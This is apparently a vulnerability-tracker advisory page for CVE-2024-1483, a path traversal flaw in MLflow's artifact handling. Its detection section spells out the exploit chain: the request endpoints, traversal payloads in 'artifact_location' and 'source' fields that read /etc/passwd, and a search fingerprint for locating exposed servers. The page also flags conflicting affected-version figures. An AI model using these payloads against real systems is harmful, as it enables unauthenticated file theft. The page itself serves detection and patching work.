CVE-2024-1483

published 2024-04-16

CVE-2024-1483: A path traversal vulnerability exists in mlflow/mlflow version 2.9.2, allowing attackers to access arbitrary files on the server. By crafting a series of HTTP…

Priority P2 61 high 7.5 CVSS 3.1

AV N AC L PR N UI N S U C H I N A N

EXPLOIT

A path traversal vulnerability exists in mlflow/mlflow version 2.9.2, allowing attackers to access arbitrary files on the server. By crafting a series of HTTP POST requests with specially crafted 'artifact_location' and 'source' parameters, using a local URI with '#' instead of '?', an attacker can traverse the server's directory structure. The issue occurs due to insufficient validation of user-supplied input in the server's handlers.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
lfprojects	mlflow	< 2.12.1	2.12.1
lfprojects	mlflow	>= 0 < 2.12.1	2.12.1
mlflow	mlflow_mlflow	unspecified – latest	—

Detection & IOCs extracted from sources · hover to see the quote

url POST /ajax-api/2.0/mlflow/experiments/create↗

url POST /api/2.0/mlflow/runs/create↗

url POST /ajax-api/2.0/mlflow/registered-models/create↗

url POST /ajax-api/2.0/mlflow/model-versions/create↗

url GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1↗

command {"name": "{{randstr}}", "artifact_location": "http:///#/../../../../../../../../../../../../../../etc/"}↗

command {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}↗

yara↗

regex: root:.*:0:0: in HTTP response body

• → Exploit chain uses 5 sequential HTTP requests: two experiment/run creation POSTs to establish traversal context, two model registration POSTs to anchor the malicious source path, and a final GET to /model-versions/get-artifact to exfiltrate the target file. ↗
• → The path traversal payload uses 'http:///#/' (hash fragment instead of query string) in the artifact_location field to bypass server-side validation and traverse directories. ↗
• → Successful exploitation is confirmed by the presence of 'root:.*:0:0:' in the response body and 'filename=passwd' plus 'application/octet-stream' in the response headers of the GET /model-versions/get-artifact request. ↗
• → Monitor for POST requests to /ajax-api/2.0/mlflow/experiments/create containing 'artifact_location' values with '#' and directory traversal sequences (../../). ↗
• → Monitor for POST requests to /ajax-api/2.0/mlflow/model-versions/create containing 'source' values using the file:// URI scheme pointing to sensitive directories. ↗
• → Shodan/FOFA fingerprint for exposed MLflow instances: search for HTTP title 'mlflow'. Use for asset discovery of potentially vulnerable targets. ↗

• · The NVD description states the vulnerability exists in version 2.9.2, but the Nuclei template title states 'Mlflow < 2.9.2'. The fixed version is 2.10.0. Verify the exact affected version range against the upstream advisory. ↗
• · The exploit requires no authentication (PR:N) and is network-accessible (AV:N), meaning any unauthenticated remote attacker can trigger the full 5-step chain against an exposed MLflow instance. ↗
• · EPSS score of 0.76184 (98.9th percentile) indicates very high probability of exploitation in the wild; prioritize patching and detection accordingly. ↗

CVSS provenance

nvd v3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

nvd v3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-22